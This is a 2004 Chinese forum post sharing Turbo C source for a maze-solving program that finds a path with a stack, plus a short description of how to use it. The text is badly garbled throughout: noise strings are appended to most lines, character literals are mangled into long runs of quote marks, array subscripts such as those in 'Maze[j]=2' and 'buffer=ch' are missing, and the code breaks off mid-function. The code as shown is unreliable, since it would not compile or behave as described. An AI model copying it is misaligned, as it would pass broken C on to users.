数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
# ?( G, Q6 u% q7 v2 n/ n# t< align=left>程序目的:
- e: {4 H1 G: d& e+ u' X输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并& t+ l5 |: s( g& B8 ~* _
显示在屏幕上。& ?  a, G  _0 i! G' d0 N) R' F
程序实现:6 v* B. G0 T* [2 D  m1 t; c
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
3 u+ z2 k7 C( q  O& F文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载3 N' t/ S0 G9 T  U) r
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
. \7 H1 F1 F8 b3 z; z9 Q1 {$ X# ~, t时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
  }7 m9 p8 Y& s  w! \, o否则会出现错误信息。输入开始时全是墙,用上下左右键移动,+ x) J5 d- k4 [& K$ _' g
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以: M% L! f- Q3 h: g) O
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
4 {' o0 C8 k; p/ C找到路径时,屏幕下方会出现Path found,否则出现Path not found。
* G' h4 z' q4 `6 G* ]& j1 i程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。  W3 v4 C  G- @
不可以在VC上编译。
* v# R+ d6 }/ a$ p下载DOS版和windows版的迷宫游戏全部代码( G* t; t+ w3 [
用户名:migong
! ]) _1 J3 I& ^+ Q( q----------------------------------------------------------------------------------
5 Y( n" [, r/ e1 @, q/*
9 t2 D/ r0 ]" h+ O7 z# S9 E$ KMazePath Demo BY Turbo C 2.0
( y# R# g9 E8 L' Z: m) T; @/ T9 p7 ?Copyright(c) RoverUnion. All right reserved.9 F# w! \3 b5 @& i6 ?
Filename: Maze.c
* Q# q' R6 H# s9 n5 t) ^Author Dongchengyu.
0 n- y3 Z- @0 E& X* |Ver 1.10. @4 y* Y, x( ~8 ]
*/" F5 m; j$ }+ m2 X+ l0 r/ b
#include &lt;stdio.h&gt;
( L: }, t9 i% {- j! {% H; q#include &lt;stdlib.h&gt;" k# u2 u/ _, o
#include &lt;malloc.h&gt;
% Q4 V" z" ~" G- j" a" f, _#include &lt;conio.h&gt;
$ w  n  X; A5 X% S/ [#include &lt;dos.h&gt;
/ r! ~  v0 n& r$ |2 m( M7 U#define OK 19 v3 h5 A: [; y1 s
#define ERROR 0- C1 n9 k5 Z% T* u9 R2 z
#define TRUE 1+ k  G, |" N- K9 Q3 q( V; M1 K6 r
#define FALSE 0+ U: k9 Z# N" a; @9 J4 o  f
#define F9 0x43
+ O; W7 H7 \! I% s% R- v  d7 n% \#define Esc 0x1b
: \6 o" {" O. X; I# y4 \#define Del 0x53
, N, E( f4 B/ W6 E4 r5 r/ g% q& z#define Home 0x47  V0 f3 d7 i& K* r
#define End 0x4f9 k' r$ P1 r5 a3 z
#define Space 0x20: u' w2 |! w5 |6 {9 H) t. V
#define Up 0x48
8 q; l/ B& q- n7 w8 c+ h& d& ?#define Down 0x50
& g# ^" G4 s/ O& P#define Left 0x4b
, W: L8 }" V2 z! g#define Right 0x4d
' M& n$ v- c/ Y+ @0 L& Z: _4 F' h$ Y#define Enter 0x0d
4 l4 i. K# J5 Z6 L) W/ C#define F2 0x3c
" w* Z5 _% L/ d) j9 n; i#define F3 0x3d
) `3 L; k5 h9 @, w' n#define STACK_INIT_SIZE 200
; e: D. H4 L$ D# O#define STACKINCREMENT 10$ {( `8 Z+ a9 |. w
typedef int Boolean;
  n% m) x" ]+ z& S2 f; Otypedef int Status;% s  Y& H! _" J$ M) @. L
typedef struct {* Q& f: d! O0 _0 O7 N
int x;
) O4 k) D5 M: d* ^2 {* O$ i+ h+ v$ Oint y;
8 ~8 R3 ~- X; h% A. l4 u} PosType;
3 A6 W* I; j3 r6 b$ [typedef struct {6 h8 N3 p1 o2 M1 s7 U3 G; q
int ord;; \. {- S3 L- p. |# ~& f# v
PosType seat;7 n, u. X* J6 f' @
int di;+ L; S, b# |" L( P
} SElemType;
7 `8 Q6 Y/ E! Y* k8 y5 z# otypedef struct {) z' F8 {" E- i% z- G2 z- b! t# j6 _; [
int td;
' H/ v; A, `3 k" q( aint foot;
4 n4 T' \# M/ Y+ w! zint mark;3 B% A2 v  W1 q. S
} MazeType;
/ b1 [, x$ B5 n- _* xtypedef struct {$ F  `/ I2 s/ j4 y4 j
SElemType *base;1 }( t& C4 {; l/ E& P
SElemType *top;2 ^, o) G+ j4 N$ H/ ~( m3 g" Y
int stacksize;
" N& x: N4 u* h  z4 k9 {$ ^} Stack;& @+ o! j7 N% c  z3 _- Y# q' B
int Maze[20][30];
" K2 N% W) N' J6 qMazeType maze[20][30];
- I6 Y! ^9 `! ]8 @3 O- V4 F# ^PosType StartPlace;
6 E0 i" N$ n+ e( \3 F1 {* W2 }( a# xPosType EndPlace;4 n: ?4 R$ I+ y- a
int count;
3 X0 F' `- B; I. \6 R+ Yint m,n;
0 w+ P! K0 U& Z, ?2 k8 r2 U6 i4 FBoolean b_start=FALSE,b_end=FALSE;
9 Z/ H# X$ I1 Q( u# Gvoid CreatMaze(void);
  M6 P% F$ j) l  J& y5 aStatus SaveMaze(char *filename);
" B8 M. k2 k4 v! }! dStatus LoadMaze(char *filename);0 H2 C: d8 H$ h; {& i( t9 S/ s  j
void Error(char *message);( L, E4 p6 G! N
Status InitStack(Stack *s);
  ]$ W9 S  o' t- [$ j( U/ w+ AStatus DestroyStack(Stack *s);/ r% z& o: m+ s& E1 N
Status ClearStack(Stack *s);0 R8 E0 Y' m5 f+ t+ n- f. c
Boolean StackEmpty(Stack *s);9 Z7 @- }# g! o- w& @! ~$ Y
int StackLength(Stack *s);$ z/ ]4 }; s/ b2 A$ o1 ?
Status Push(Stack *s,SElemType e);
# G5 I/ D5 y  l2 kSElemType Pop(Stack *s,SElemType e);
2 ~/ f6 U( i" TStatus GetTop(Stack *s,SElemType *e);
6 d  R* A1 U5 `Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
- T* i5 Z! H9 j0 ~Boolean Pass(PosType curpos);
% B0 F1 a9 M9 m: Lvoid MarkPrint(PosType seat);
5 I  q+ z) U# n$ [+ t2 {# g; Y6 K! a  ~void FootPrint(PosType curpos);
! m/ h& n1 e/ T( U6 R/ B7 ?PosType NextPos(PosType seat,int di);
  P7 l1 S4 S* KStatus MazePath(PosType start,PosType end);
0 I# d+ g9 x# n7 |+ G# U5 ivoid CreatMaze(void): T8 E: W, m9 ]( a
/* Form the maze. */1 k) |  \  s% {: q8 S" @; \
{% h! }# I9 l/ X$ C4 O% {% ^! y
void Error(char *message);
0 C) B: c* i" n9 b7 k) I# \$ gStatus SaveMaze(char *filename);
4 w% G" j9 z. M: k  Q4 TStatus LoadMaze(char *filename);* k$ L, {) S6 \1 u
int i,j;
4 V" T/ `4 D6 U2 Eint x,y;4 A. M; b: ]/ h0 P9 A: e% Y
char c;
& H& H0 j  Z! m8 i0 _) ]1 T7 D) r5 ichar savename[12],loadname[12];! b/ M, U( A  ~. z! y  ]
Boolean flag=FALSE,load=FALSE;
! ^5 B  d2 s; I" q( W1 fclrscr();
8 a+ O  E! w7 bprintf("Menu:\n\n");7 n  s) I8 d8 y$ W5 J) K
printf("1.Load Mazefile*.dd)\n\n");
3 x1 \- s( g$ z/ l5 u4 ^; uprintf("2.Input Maze:\n\n");
1 I( a" D; w4 D  s. d% M% J" oprintf("Input your choice: ");
3 t5 Z) s3 W' J$ [9 Q. A7 ydo
* l/ i/ B  w. c: r+ X{
: [0 J3 i) ~# Y& Y8 D  Yc=getch();
2 X9 a  H4 X% f# F. \0 hswitch(c)5 d9 w* R- L' p1 R
{! s! ?1 F+ s. q4 _- i
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
- V/ H. @* A4 ~, q7 }/ lcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;& T4 Q+ ?  Q. Y1 E3 m& M  ^* I
case Esc: sleep(1); exit(1);: i, h2 {; |* t& c% c% V6 S
default: break;  Q( l( n+ G  l3 Z
}1 j1 w+ E, K0 C# Z7 O
}
  B4 K$ ~) _' A, Dwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;& M  L5 I8 Q7 |" M9 D( I
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')  |. k) Z9 ?  v
{
- b0 L  k' T1 _$ Nprintf("\n\nLoadName: ");
9 T7 \- r1 t. `  Uscanf("%s",loadname);
8 u! H* {" C) T' w" E( fif(LoadMaze(loadname))4 q( {: A1 h1 Z1 J: w
{5 D. k$ Y- E: b+ V, V6 o7 X% _4 _
sleep(1); load=TRUE;% A2 |. M5 D0 O4 o1 @/ _
}
4 j; Y$ h! i- |. t9 J  Helse { gotoxy(1,9); printf("Load fail! "); }8 x$ X( u7 J0 }- c1 |4 Y2 m" b
}. c0 h" U( ~3 p; w0 \
if(!load)$ W0 V9 S% r8 K! Q: \; l' V5 q7 N5 f
{+ j7 H" s: N8 g: {. {
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");- V0 m6 k. r$ t2 E) @
printf("\nInput Length :\n");4 ?* {  L! W+ [; p% V6 y7 \
scanf("%d",&amp;m);0 n, i8 ]8 G# D: g% G& ^$ l& ?- s
printf("\nInput Width :\n");; A; o- |, [! ~: Y$ |! A
scanf("%d",&amp;n);* m3 F+ @' a; \& u/ W5 z1 v. |
if(m&lt;4||n&lt;4) Error("Input");4 u# H+ }2 k  j4 ~" \/ ^
if(m&gt;30||n&gt;20) Error("Maze too large");
- K  F) `6 ?- ^4 `" E9 l' Y: Lfor(i=0;i&lt;30;i++)' N6 w( O; Q' J( V
for(j=0;j&lt;20;j++)+ h+ z& E2 E9 j5 w! F% H
Maze[j]=2;
7 f; R# Q) l# h' C" x2 [- X2 A4 JStartPlace.x=0;. P. v8 l+ L, c- ~3 t! V! Q* e8 w
StartPlace.y=0;
+ L8 e1 ]- s  ]4 rEndPlace.x=0;
6 d. O' ^8 X1 ^3 K# ~EndPlace.y=0;
% T" X. T& a/ S4 o! |, B" @clrscr();
$ p- C# ?4 t9 ]5 g; G5 p$ [printf("\n");- c" q2 v: t4 `- h; p
for(i=1;i&lt;=n;i++)& [0 L* H0 k: t" B0 L
{
6 ^; x! d! _! vfor(j=1;j&lt;=m;j++)
1 i' s+ h4 q" }) B# l8 R: K{2 ?, c; A4 b3 G8 J
printf(" #");+ U; ~- X" I0 o
Maze[i-1][j-1]=0;
" m# |) W- Y$ `" ]4 D}
9 X  S/ M/ F4 ^2 n/ r! L2 Hprintf("\n");
9 M7 d2 g/ T- |}
& i! V5 X- {2 n! ?0 ^9 h& O  }}
) c: |7 P8 V' v- G- I& ~  w5 qgotoxy(65,5);
5 I. P* Z2 x2 Kprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");0 ^  W/ f: f. {4 Q7 t0 ~: ?3 k
gotoxy(65,7);6 y& p# X7 Y, _; k, U1 ?& v: I
printf("Start:Home");
' k$ |. S' o8 Mgotoxy(65,9);; ^! U2 {  O4 d7 J. \9 a, C: E
printf("End:End");5 ?$ n, E8 G$ P( l
gotoxy(65,11);
; M! o8 ?' }/ q+ t4 Bprintf("Delete Wallel");
* M+ h4 M7 S" ^: e& o0 h( Igotoxy(65,13);
5 b9 R9 J1 _, I) U' }: \. Gprintf("Enter Wall:Enter");% |7 u8 j& F5 ?- @8 v& i3 p
gotoxy(65,15);: c" I) A$ w+ p  n1 I. Y7 h2 j
printf("Save Maze:F2");
3 w1 c' @, N4 o) t' Y" D5 ^( T& wgotoxy(65,17);
  P2 t# N7 h, O- n0 q! B  Uprintf("Complete:F9");
$ T. v, q( G/ E+ X' [0 y8 _" ogotoxy(65,19);  W8 G6 ?+ T1 W: T' K5 A
printf("Exit:Esc");
- x0 [, e- r! O$ K4 y8 R" wgotoxy(4,3);$ e% Q5 _1 X# f/ J# {5 V
x=4;y=3;
4 f) L2 k9 B7 Z) V5 X1 K, Hdo& d1 X; b6 K  L" R( L
{' H1 h$ I2 C8 Z, y2 x
c=getch();
* Q* E% W7 `  bswitch(c)5 w- z( ^/ m0 v! t
{5 z% \7 i' }; m: i0 E7 `8 \
case Up: if(y&gt;3) { y--; gotoxy(x,y); }# @. ~" C; w: P6 X! ]
break;; k7 M6 B/ s  r( V% R! R
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
+ z  h2 e' d- I& e5 H" p  p! sbreak;* T0 p3 o4 x. b: Z! |
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
( o: p4 J+ K) n- H& u: Wbreak;8 ?* v: T) i5 p- R+ F/ H
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
% n& N4 C/ C/ n" B4 J) ybreak;
- h: X  v. [/ X7 N/ Ucase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
) u0 \2 Y/ V) z, @' f& t- wif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
4 }2 j, P, Q( Q  ]/ P# {putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);7 y0 }/ D5 J# }8 [& I
break;. V5 C& D* p0 j+ P8 E6 [0 ~2 @
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;& S+ T! @: u" S2 z/ d" Y! d" S
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;0 B! M0 y5 g9 y, C6 M# _/ ?$ k8 M
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);! w* T7 K7 r8 T/ q& Y9 R
break;  r; _5 a+ ^+ s
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
+ ~5 R" q0 r# A4 _{2 U) C- {# f( T" ]3 r2 s
StartPlace.x=x/2-1;
! o: w9 ]7 H! W. FStartPlace.y=y-2;
+ V0 H1 Q3 C! T4 Xputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');, \. g9 l: I6 _" H& S
gotoxy(x,y);
, h7 D3 C! G, i7 Mb_start=TRUE;
& M) w; q* d: F2 k& i1 ]}
1 j8 u8 L1 }) Wbreak;
$ E  ]3 F1 G& l7 Wcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
. _% M+ y2 E$ v9 V- }1 `2 W{. h. D& o& m9 }
EndPlace.x=x/2-1;1 l5 T  A9 Q# ?5 [. d
EndPlace.y=y-2;# ~7 U/ H' d% M# ?8 H+ z$ ^
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');4 S- {2 i: g  c) x& \
gotoxy(x,y);
2 \0 `- w! S: e. Y' Vb_end=TRUE;
9 X- x$ D; J9 q, c}
/ V* N, n- |! K) ^0 I; Jbreak;0 u% U& Y" h$ r( V
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
& O& A/ P  H! H# c, y9 p2 Kcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
3 q5 c( n$ m# ]; r& P3 \( qcase F2: gotoxy(2,22);
: w. Y5 y, v' l+ d- Wprintf("Savename:");3 J* r/ |& m' ~) a+ B6 _3 O
scanf("%s",savename);2 H5 ]; h) i4 Z  c# \/ f
gotoxy(2,22);
* F% o! B, ~" \) R+ W7 }if(SaveMaze(savename)) printf("Save OK! ");1 N9 [0 {* ?; E5 ?+ C
else printf("Save fail! ");4 ]4 X( L& W0 s* e2 i3 |5 c
sleep(1);/ ~# u! \0 a5 |2 O1 N% a
gotoxy(2,22);
+ w7 N- K6 U# {; p0 \printf(" ");  r2 a, O" b) y+ u! h: x* F8 A
gotoxy(x,y);
2 ?, U: g9 S8 v* F0 C3 P- [% v: tbreak;. V4 {6 m* L2 x( E, a- A0 `; q
default: break;
1 i' _6 m  I7 N* P* ^* j# v}# O. F& a' }4 G) ?0 C, O3 e
}0 D( R& W8 I1 u# M1 `
while(!flag);
. S) V- H3 O( @for(i=0;i&lt;30;i++)
! N5 d% K6 s* K: l" Y! Sfor(j=0;j&lt;20;j++): ^' N1 r! h( U3 U
{
4 S, w* l. ]* K4 Dmaze[j].td=Maze[j];
1 V: D( @1 J' f  r3 f! Vmaze[j].mark=0;
3 h3 z8 S& s# ?& a1 h! W' y! qmaze[j].foot=0;- F; U6 I% G. g5 ?7 `
}
+ f7 T  n' F" \7 X* s0 s}
8 x4 j4 A$ B8 k: hStatus LoadMaze(char *file)' R7 w3 v  ~& X
/* The maze has been loaded. */& U5 Y7 T' y" {; o
{' b' Y  ~: ]/ H% E
FILE *fp;: M7 [  ]2 R6 x
char *buffer;5 X& m2 `0 j/ a' K3 w# T! [: R
char ch;! s4 u" e; i5 t) }1 f
int i=0,j,k;
3 g. P& k4 |3 B9 JBoolean len=FALSE,wid=FALSE;
/ x. c3 i% s9 Z9 S5 ?if((fp=fopen(file,"r"))==NULL)
( L% x; E! K1 l; K, r# [return ERROR;
7 s" a& D/ c3 K8 qbuffer=(char *)malloc(600*sizeof(char));
/ D" |4 g' C+ ~3 t& O* W" e0 k& Tch=fgetc(fp);
! a, K+ j& O4 V9 Swhile(ch!=EOF)
$ D* L! K: |1 m  R# G{! e! S9 u# t6 ?+ \7 S* C8 A+ @
buffer=ch;  \5 F6 A( W  u" V- K6 a
i++;7 h" Z' }1 K' F/ w
ch=fgetc(fp);7 R1 _4 H3 s& B8 I7 V
}
5 ~2 K8 x4 I1 d5 ^/ z" b) Bm=30;n=20;+ k2 \" a0 s8 a! P8 J9 W, b; P
for(i=0;i&lt;600;i++)
' Y$ _( }5 L2 N; Q. S" P" W  ?& z0 x{
5 M& Z- c3 E- b) o8 A) F. g5 Oj=i/30; k=i%30;
) R3 s3 P" N7 E+ {if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
& {- s$ m4 W" A; Eif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
7 H7 j6 ^9 O8 p6 s1 {. Sswitch(buffer). f2 @* B. i! U; x
{
3 t4 X' ]  q* U$ @# P; S0 f: Y: y" `case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;0 Q  I; o; S) ^; w% D- V1 w$ L+ h
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
, B4 j; S4 o4 I; t9 dcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
6 c0 J# t. H" e) Ycase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
0 B+ J, X" Z$ n! T7 ?StartPlace.x=k;
4 M" p+ W8 b" u% LStartPlace.y=j;
3 Z7 R& c& B( m/ A( r0 Nb_start=TRUE;
7 p! v; w1 t8 D# Q7 Ubreak;6 I- h# R" ~! q, e2 p( J5 w
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
+ }; f$ y5 G( D" w+ D$ [# ?6 yEndPlace.x=k;% R: E9 b7 a* t6 D
EndPlace.y=j;
/ ]4 x" H. n6 l0 }0 Pb_end=TRUE;- H7 l3 K  }9 e  m% X
break;& D  G: F9 V( K1 [# J- ?
default : break;
" m4 q  i3 s7 V}
8 H, Z% J7 t$ r( T7 c}" U( T! A0 ?. a* S( j/ j
fclose(fp);
' m8 \% B1 `- G2 ]4 f( j- [clrscr();6 V) B$ |- l% q; [0 k
for(i=0;i&lt;30;i++)5 [7 y& s6 }; \' L
for(j=0;j&lt;20;j++)
) Y; S1 P4 s; m. e$ q# t{
7 }, I; B) E2 X& R" ?9 Wmaze[j].td=Maze[j];
3 B5 N* `- Y- ?/ O% O  i8 Bmaze[j].foot=0;: K* T% D6 Q' `& i1 c
maze[j].mark=0;; h; m0 J4 v4 E5 Z- U# B' E
if(Maze[j]==0), x/ P8 u8 a1 k' u1 I
{
  `3 F5 e/ P: Jgotoxy(2*i+2,j+2);% X3 r8 l) v/ K
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
' [4 V; T" B8 |, [}
7 c# p8 N& Z  \0 _+ y}
' w* m  j+ G" Tgotoxy(2*StartPlace.x+2,StartPlace.y+2);% g$ d( m# i# E: d3 Z) K1 u: F
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
" X% D5 i2 i0 Y4 ]8 b8 j+ ngotoxy(2*EndPlace.x+2,EndPlace.y+2);+ x  f" `3 E: N# m* m2 z
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');4 Y1 \2 ?  _) Z' c& \/ m
return OK;, B8 a9 x: B- w/ D
}
. `' n6 i% p# @( sStatus SaveMaze(char *filename)
$ e+ V+ t" ?) ]* ]: v8 ]! Y' |0 R1 E/* The maze has been saved. */4 T- \* b4 w  N7 W7 K* D3 P; ~7 U
{; v8 y. v1 n; G! J1 g
FILE *fp;
) ]! J! t; @1 jchar *buffer;
6 E/ S6 C" Y5 {& E" C" v' Gint i,j,k;
0 G+ @8 ~, X# p% `fp=fopen(filename,"wb");
; V' x* W2 s+ t  R4 x4 h# \buffer=(char *)malloc(600*sizeof(char));3 Q! j5 |8 B: s  n7 l8 G5 r6 z
for(i=0;i&lt;600;i++)
2 A. l1 f) {% R/ U% T! J{
+ T: o% p3 X3 r1 ^# B- Wj=i/30; k=i%30;
) m% [/ G; v, A5 |$ R; o& S: Iswitch(Maze[j][k])7 j' N' C- K2 u' o' e
{! B2 o0 w- }% `7 N
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;+ l! c& `* d) _" H; @
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;( |! S1 @" S% E% i6 m: W2 h# V
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;1 t  p* Q. Q3 ?2 Y# Y5 B$ i
default : Error("Write"); break;
9 v: N" Z" `! x" ~' ^# t/ r}
. g7 t( ^5 s, ^) v8 w$ @& Oif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';3 o9 S5 G  T" h8 c
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';3 ?8 t" E+ n6 X1 W
}+ T6 Z  t( }! F
fwrite(buffer,600,1,fp);; z* n/ v, u. Y' i
free(buffer);
, f  c) O4 b+ m# e5 Cfclose(fp);' c9 U! s% w2 |# h
return OK;
  @/ `- s2 f! @; C/ Z/ ~}8 `( }4 u- F+ F- E. F' R
void Error(char *message)
* F7 q! _- v& B1 G; u! h{
5 E$ ~: b9 c, Dclrscr();) C5 J+ ]* L' x0 \
fprintf(stderr,"Error:%s\n",message);5 k& V( U- L, R5 S8 A3 h
exit(1);$ |: ^7 H) M" i6 a- ^) L
} /* Error */
" m7 z, U- b; j
$ Z. f. _" g/ w( d' R. i: N- L' FStatus InitStack(Stack *s)' D  z+ H' W: Q, f
/* The stack s has been created and is initialized to be empty. */
2 r7 X6 V' f8 B, R{- f4 A) M7 V* T- e0 J
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
) w! l8 M, V' b$ c6 E& o+ nif(!s-&gt;base) Error("Overflow");7 Y6 n% u; T8 k8 z( t
s-&gt;top=s-&gt;base;5 E6 m1 u$ j0 e3 `7 y/ V7 K
s-&gt;stacksize=STACK_INIT_SIZE;
  V4 j9 ~: E  \( i( V7 creturn OK;3 v% |1 p1 b/ \
} /* InitStack */
8 V1 c1 B$ T% G- A" z8 FStatus DestroyStack(Stack *s)
" I9 X* o9 O$ D9 L( f, W2 z/* The stack s has been destroyed. */
1 D% s( n8 \1 Z2 g{
( y* m2 \: h. P+ Y, ms-&gt;top=NULL;
' J# L8 q- V2 _4 N) c( Zs-&gt;stacksize=0;
: |% u$ g1 v6 \3 \free(s-&gt;base);
% }! O% u, w- J4 Ns-&gt;base=NULL;
0 w; U# y, q/ X/ @- H3 y6 dreturn OK;4 \4 Y  Q3 c/ A6 C) k. V; n
} /* DestroyStack */
2 u& h5 k2 g! O' g+ rStatus ClearStack(Stack *s)
: X- M* `* b0 Y% O; v) \/ k/* The stack has been clear to be maximum. */+ i) Z: V0 L$ c6 f+ [( d
{
# Z! [2 Q/ C: a! E- Es-&gt;top=s-&gt;base;
% f, d/ }; d3 u* M4 cs-&gt;stacksize=STACK_INIT_SIZE;
. H1 R7 S# S4 I5 a, C4 Z$ rreturn OK;
8 m8 }5 D& J) D' X$ v' s$ C  }} /* ClearStack */% l. T7 l/ ~: E2 j4 J" C# i+ n
Boolean StackEmpty(Stack *s)
) `& m" p6 x( m/* Check if the stack s is empty. */$ e. f. S6 ]  W
{. A+ A6 ~3 }6 J: p
if(s-&gt;top==s-&gt;base) return TRUE;
  m6 h7 h3 x- M5 |else return FALSE;' r7 g' P/ S8 [3 r6 p# ^/ v
} /* StackEmpty */# ~6 f  a  N) p' b, f! ]
int StackLength(Stack *s)4 o5 b( P1 k4 W0 l  K
/* Gain the length of the stack s. */
7 z& L$ l) l0 [2 [6 }{
; v/ d, }+ s0 X# r# G/ y2 |8 mif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);4 @( l) Z' C- q- d, k/ b
else return 0;
. Q; c* ~" W; q} /* StackLength */! W+ o6 |/ s8 ]2 n
Status Push(Stack *s,SElemType e)
; a6 ^# L. M1 `/* The element e has been pushed into the stack s. */
5 R( ]) x6 D* f! K! o5 @9 E{
# }  O) D) F+ j7 D! W: Z# }7 Z9 e' oif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
, N( f6 a2 A) u( M+ o, Z+ m{
2 R9 E+ z. `5 Y" Y$ k& Q1 Us-&gt;base=(SElemType *)realloc(s-&gt;base," o, c- K: K3 f4 m; C  N* T
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
. Q: B2 R/ N: Y3 a) F0 nif(!s-&gt;base) Error("Overflow");0 S& m1 A" O' C) Y
s-&gt;top=s-&gt;base+s-&gt;stacksize;
( n0 s; }3 H/ X7 _s-&gt;stacksize+=STACKINCREMENT;$ m+ e4 r7 ], I5 ^% K
}
$ P4 R. j3 Q) K6 r*s-&gt;top++=e;; L# f  I  k; h: R
return OK;
* K# S( P7 b7 t% @7 U& X7 P* L) @} /* Push */  a+ g9 e4 \$ i1 k) J; t8 P8 x
SElemType Pop(Stack *s,SElemType e)0 ?5 b& Z3 O$ y9 p: H" B
/* The element e has been removed from the stack s. */* ?3 x$ I% c+ B
{
8 s7 A8 R' A/ \+ _# ~if(s-&gt;top==s-&gt;base) Error("op");  h9 X: O* }5 k" q8 Y& Z* A
e=*--s-&gt;top;% O: F$ q6 H. v; u
return e;2 ]& p0 _8 a. j* V
} /* Pop */
( G; }) m% Z+ X, l& HStatus GetTop(Stack *s,SElemType *e)
/ T  K8 m) m, d8 K+ ~/* The element e has got to the top of the stack s.*/* d) G3 m% p# @" |
{0 Z+ O! ^. Y, a7 F+ W# e1 i
if(s-&gt;top==s-&gt;base) Error("GetTop");
) o; v! }6 ]2 v5 Z- Z*e=*(s-&gt;top-1);
2 n+ Q1 M6 r+ V/ @1 e  V4 I* v  dreturn OK;
8 ]# v& _* b1 Z& u" @2 z} /* GetTop */
( k7 p5 r2 h" }3 `) |  P' `4 \8 _/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */8 F+ a+ [& C. {0 s8 O- v6 s
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))9 a! r9 Y1 W) `6 p/ f4 U9 ~1 @
{
- F/ ?% T: O1 j5 E2 c$ B$ B' eSElemType p;/ A. n0 @8 u( A4 Y  P- A
int result;+ I/ ?1 a* V7 ]" t* w7 A3 m
if(s-&gt;top==s-&gt;base) return ERROR;. p  V9 K6 e" z  W" j
p=s-&gt;base;% E. w/ ?9 ^: P/ N
while(!(p==s-&gt;top))' L) m% X# t/ y# L4 ]( m
{2 L- I$ e) Q" B2 ~
result=(*visit)(p);: e; H; J6 z2 C3 P9 ^0 @4 C) J
p++;9 v' W! l; z' c) q* t
}
; O0 n+ @/ S( X8 sreturn OK;+ P) k6 L& }/ Z3 H! e
} */
0 }) X4 x9 `; SBoolean Pass(PosType curpos)/ k0 r2 T0 ?  M7 i6 G
/* Check if the current position can be passed. */
& {1 G. r& o) Y) J{
1 g) Z+ G" w! y$ E3 qif(maze[curpos.x][curpos.y].td==1&amp;&amp;
$ s9 y* c9 t% Q+ _) A3 Dmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)% z/ X2 @. {8 A- N2 Y
return TRUE;
# M/ S4 s' \& H+ Jelse return FALSE;
$ w5 i. W4 Z& @2 z$ z% z} /* Pass */3 m1 h) Z6 a8 A" P
void MarkPrint(PosType seat)
: {# D, x, Q4 Z  v/* Mark the position seat. */
& P- j' D4 {. k2 @( i$ d{$ K: b1 U" t2 L0 D; E* G$ F9 p9 F
